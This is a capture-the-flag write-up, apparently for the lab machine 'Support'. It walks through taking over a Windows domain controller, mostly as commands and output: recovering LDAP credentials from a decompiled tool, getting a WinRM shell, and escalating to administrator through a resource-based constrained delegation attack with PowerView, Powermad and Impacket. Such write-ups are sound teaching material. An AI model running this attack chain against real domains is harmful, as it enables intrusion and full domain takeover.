Enumeration
Nmap
We start by running an nmap
scan on the most common 1000 ports using the flag -sV
to perform a service/version scan, the -sC
flag to perform a script scan using the default set of scripts, and the -Pn
flag to skip host discovery:
$ nmap -sV -sC -Pn 10.129.150.214
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 11:32 EST
Nmap scan report for 10.129.150.214
Host is up (0.039s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-06 16:33:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-12-06T16:33:15
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.74 seconds
Shares
We use smbclient
to enumerate SMB shares. The -L
flag tells the tool to retrieve a list of all the available shares on the remote host. Additionally, the -N
flag will prevent any password prompts from appearing:
$ smbclient -N -L \\10.129.150.214
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.150.214 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
$ smbclient \\\\10.129.150.214\\NETLOGON
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
$ smbclient \\\\10.129.150.214\\SYSVOL
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
$ smbclient \\\\10.129.150.214\\support-tools
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jul 20 13:01:06 2022
.. D 0 Sat May 28 07:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 07:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 07:19:55 2022
putty.exe A 1273576 Sat May 28 07:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 07:19:31 2022
UserInfo.exe.zip A 277499 Wed Jul 20 13:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 07:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 07:19:43 2022
4026367 blocks of size 4096. 957524 blocks available
We were able to connect to the support-tools
share and download UserInfo.exe.zip
to check its content:
smb: \> get UserInfo.exe.zip
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (821.2 KiloBytes/sec) (average 821.2 KiloBytes/sec)
Executable Analysis
$ unzip UserInfo.exe.zip
Archive: UserInfo.exe.zip
inflating: UserInfo.exe
inflating: CommandLineParser.dll
inflating: Microsoft.Bcl.AsyncInterfaces.dll
inflating: Microsoft.Extensions.DependencyInjection.Abstractions.dll
inflating: Microsoft.Extensions.DependencyInjection.dll
inflating: Microsoft.Extensions.Logging.Abstractions.dll
inflating: System.Buffers.dll
inflating: System.Memory.dll
inflating: System.Numerics.Vectors.dll
inflating: System.Runtime.CompilerServices.Unsafe.dll
inflating: System.Threading.Tasks.Extensions.dll
inflating: UserInfo.exe.config
$ file UserInfo.exe
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
The archive contains DLLs
and a .Net
executable. Being on a Linux system we use wine
to run it:
$ wine UserInfo.exe
Usage: UserInfo.exe [options] [commands]
Options:
-v|--verbose Verbose output
Commands:
find Find a user
user Get information about a user
With the assistance of the tool’s usage help menu, we are able to comprehend the proper usage of the tool:
$ wine UserInfo.exe -v user admin
Unable to parse command 'user' reason: Required option '-username' not found!
Usage: UserInfo.exe [options] [commands]
Options:
-v|--verbose Verbose output
Commands:
find Find a user
user Get information about a user
$ wine UserInfo.exe -v user -username admin
[*] Getting data for admin
[-] Exception: Connect Error
$ wine UserInfo.exe -v find admin
[-] At least one of -first or -last is required.
$ wine UserInfo.exe -v find -first admin
[*] LDAP query to use: (givenName=admin)
[-] Exception: Connect Error
$ wine UserInfo.exe -v find -last admin
[*] LDAP query to use: (sn=admin)
[-] Exception: Connect Error
UserInfo.exe
seems to try to connect to a remote LDAP server to fetch information.
LDAP
LDAP (The Lightweight Directory Access Protocol) is a widely accepted protocol that is built on top of the TCP/IP protocol. It enables clients to carry out several operations on a directory server, like storing, retrieving and searching data based on certain conditions, authenticating clients and more. Typically, port 389 is used for unencrypted communication, while port 636 is utilized for LDAP over a TLS-encrypted channel.
As per the results of our nmap
scan, we have identified that there is a running LDAP server on port 389.
In order to acquire a deeper understanding, we proceed with the analysis by decompiling the executable with the open source .NET Decompiler ILSpy.
ILSpy
Opening the executable with ILSpy and looking at the code, we find an LDAP login username and an encrypted password with the algorithm to decrypt it:
internal class LdapQuery
{
<SNIP>
string password = Protected.getPassword();
entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
entry.set_AuthenticationType((AuthenticationTypes)1);
ds = new DirectorySearcher(entry);
}
<SNIP>
<SNIP>
internal class Protected
{
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
}
return Encoding.Default.GetString(array2);
}
}
We add support.htb
to our /etc/hosts file:
$ echo -e "10.129.150.214\tsupport.htb" | sudo tee -a /etc/hosts
10.129.150.214 support.htb
Now, to decrypt the password, we can either rewrite the getPassword()
function logic ourselves, or, since LDAP traffic on port 389 is unencrypted, we can sniff the network to steal the unencrypted password.
Wireshark
Starting a packet capture with Wireshark on our tunnel interface, running UserInfo.exe
and following the TCP stream on any captured packet we get the password for the user support\ldap
.
$ wine UserInfo.exe -v find -first bob
[*] LDAP query to use: (givenName=bob)
[-] Exception: No Such Object
With the executable running, Wireshark was able to capture the username support\ldap
and the password nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz0
used for authentication:
0<...`7.....support\ldap.$nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz0........a.....
......0;...c6..
..
............... givenName..bob0...sAMAccountName0....h...e...._
. ...X0000208D: NameErr: DSID-03100221, problem 2001 (NO_OBJECT), data 0, best match of:
''
.
ldapsearch
We now enumerate domain users using ldapsearch
. We login using simple authentication instead of SASL (-x
), passing the LDAP server and password we sniffed, and using Users
, support
and htb
as the Common Name and Domain Components after the -b
flag to customize the starting point for the search:
$ ldapsearch -x -H ldap://support.htb -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "CN=Users,DC=support,DC=htb"
<SNIP>
# support, Users, support.htb
<SNIP>
info: Ironside47pleasure40Watchful
<SNIP>
Under the user support
(member of the Remote Management Users group) we notice what might be a password in the non default tag info
: Ironside47pleasure40Watchful
.
Getting a Shell
Evil-WinRM
WinRM (Windows Remote Management) is is a Windows-native built-in remote management protocol that allows users to:
- Remotely communicate and interface with hosts.
- Execute commands remotely on systems that are not local to you but are network accessible.
- Monitor, manage and configure servers, operating systems and client machines from a remote location.
From a penetration testing perspective, if we are able to acquire valid credentials for a user with remote management permissions, we have the potential to gain access to a PowerShell shell on the targeted host.
To connect to the WinRM service we can use Evil-WinRM, a WinRM shell that contains features focusing on pentesting. We just need to pass the target host IP and the credentials support
:Ironside47pleasure40Watchful
like this:
$ evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents> whoami
support\support
We got a shell. Now it’s time to look for the user flag.
User Flag
We find the user flag in the Desktop directory:
*Evil-WinRM* PS C:\Users\support> ls -recurse .
Directory: C:\Users\support
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 5/28/2022 4:17 AM Desktop
d-r--- 5/28/2022 4:16 AM Documents
d-r--- 5/8/2021 1:15 AM Downloads
d-r--- 5/8/2021 1:15 AM Favorites
d-r--- 5/8/2021 1:15 AM Links
d-r--- 5/8/2021 1:15 AM Music
d-r--- 5/8/2021 1:15 AM Pictures
d----- 5/8/2021 1:15 AM Saved Games
d-r--- 5/8/2021 1:15 AM Videos
Directory: C:\Users\support\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/10/2022 5:03 AM 34 user.txt
*Evil-WinRM* PS C:\Users\support> cat Desktop/user.txt
fb8****************725
Privilege Escalation
Reference: Kerberos Resource-based Constrained Delegation: Computer Object Takeover
Following the reference, we will perform a resource-based constrained delegation attack.
We start by downloading PowerView.ps1
and Powermad.ps1
:
$ wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
--2022-12-10 16:29:58-- https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 770279 (752K) [text/plain]
Saving to: ‘PowerView.ps1.1’
PowerView.ps1.1 100%[====================================================>] 752.23K --.-KB/s in 0.1s
2022-12-10 16:29:58 (7.07 MB/s) - ‘PowerView.ps1.1’ saved [770279/770279]
$ wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
--2022-12-10 16:31:11-- https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 135586 (132K) [text/plain]
Saving to: ‘Powermad.ps1.1’
Powermad.ps1.1 100%[====================================================>] 132.41K --.-KB/s in 0.03s
2022-12-10 16:31:11 (3.75 MB/s) - ‘Powermad.ps1.1’ saved [135586/135586]
We then upload the scripts and import them as modules:
*Evil-WinRM* PS C:\Users\support> upload /home/kali/serve/PowerView.ps1
Info: Uploading /home/kali/serve/PowerView.ps1 to C:\Users\support\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\support> upload /home/kali/serve/Powermad.ps1
Info: Uploading /home/kali/serve/Powermad.ps1 to C:\Users\support\Powermad.ps1
Data: 180780 bytes of 180780 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\support> Import-Module ./PowerView.ps1
*Evil-WinRM* PS C:\Users\support> Import-Module ./Powermand.ps1
As support
we can create up to 10 computers accounts in the domain:
*Evil-WinRM* PS C:\Users\support> Get-DomainObject -Identity "dc=support,dc=htb" -Domain support.htb | findstr machineaccountquota
ms-ds-machineaccountquota : 10
This allow us to create a new computer object which we need for the attack.
We also need the target to run at least Windows 2012.
The target machine is running Windows Server 2022:
*Evil-WinRM* PS C:\Users\support> Get-DomainController
Forest : support.htb
CurrentTime : 12/10/2022 9:40:00 PM
HighestCommittedUsn : 86163
OSVersion : Windows Server 2022 Standard
Roles : {SchemaRole, NamingRole, PdcRole, RidRole...}
Domain : support.htb
IPAddress : ::1
SiteName : Default-First-Site-Name
SyncFromAllServersCallback :
InboundConnections : {}
OutboundConnections : {}
Name : dc.support.htb
Partitions : {DC=support,DC=htb, CN=Configuration,DC=support,DC=htb, CN=Schema,CN=Configuration,DC=support,DC=htb, DC=DomainDnsZones,DC=support,DC=htb...}
Lastly, we need to assure that the target computer does not have the attribute msds-allowedtoactonbehalfofotheridentity
set:
*Evil-WinRM* PS C:\Users\support> hostname
dc
*Evil-WinRM* PS C:\Users\support> Get-NetComputer dc | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
name msds-allowedtoactonbehalfofotheridentity
---- ----------------------------------------
DC
Now we create a new computer object and get its SID:
*Evil-WinRM* PS C:\Users\support> New-MachineAccount -MachineAccount EVIL -Password $(ConvertTo-SecureString 'qwerty' -AsPlainText -Force) -Verbose
Verbose: [+] Domain Controller = dc.support.htb
Verbose: [+] Domain = support.htb
Verbose: [+] SAMAccountName = EVIL$
Verbose: [+] Distinguished Name = CN=EVIL,CN=Computers,DC=support,DC=htb
[+] Machine account EVIL added
*Evil-WinRM* PS C:\Users\support> Get-DomainComputer evil -Properties objectsid
objectsid
---------
S-1-5-21-1677581083-3380853377-188903654-5601
and a new raw security descriptor for the evil
computer account:
*Evil-WinRM* PS C:\Users\support> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1677581083-3380853377-188903654-5601)"
*Evil-WinRM* PS C:\Users\support> $SDBytes = New-Object byte[] ($SD.BinaryLength)
*Evil-WinRM* PS C:\Users\support> $SD.GetBinaryForm($SDBytes, 0)
*Evil-WinRM* PS C:\Users\support> Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb
Verbose: [Get-DomainObject] Extracted domain 'support.htb' from 'CN=DC,OU=Domain Controllers,DC=support,DC=htb'
Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=DC,OU=Domain Controllers,DC=support,DC=htb)))
Verbose: [Set-DomainObject] Setting 'msds-allowedtoactonbehalfofotheridentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 27 219 253 99 129 186 131 201 230 112 66 11 225 21 0 0' for object 'DC$'
Impersonation
We add dc.support.htb
to our /etc/hosts file:
$ echo -e "10.129.150.214\tdc.support.htb" | sudo tee -a /etc/hosts
10.129.150.214 dc.support.htb
We first get a Service Ticket and save it as ccache using impacket-getST
(script part of Impacket):
$ impacket-getST support.htb/evil:qwerty -dc-ip support.htb -impersonate administrator -spn www/dc.support.htb
Impacket - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache
and then we get the an Administrator shell by using the Kerberos ticket specified by the KRB5CCNAME
environment variable:
$ export KRB5CCNAME=administrator.ccache
$ impacket-wmiexec support.htb/administrator@dc.support.htb -no-pass -k
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
support\administrator
Now we can finally get the root flag.
Root Flag
We find the root flag in the Desktop directory:
C:\>cd Users/Administrator/Desktop
C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 955A-5CBB
Directory of C:\Users\Administrator\Desktop
05/28/2022 03:17 AM <DIR> .
05/28/2022 03:11 AM <DIR> ..
12/10/2022 05:03 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 3,943,088,128 bytes free
C:\Users\Administrator\Desktop>type root.txt
be8****************a4bc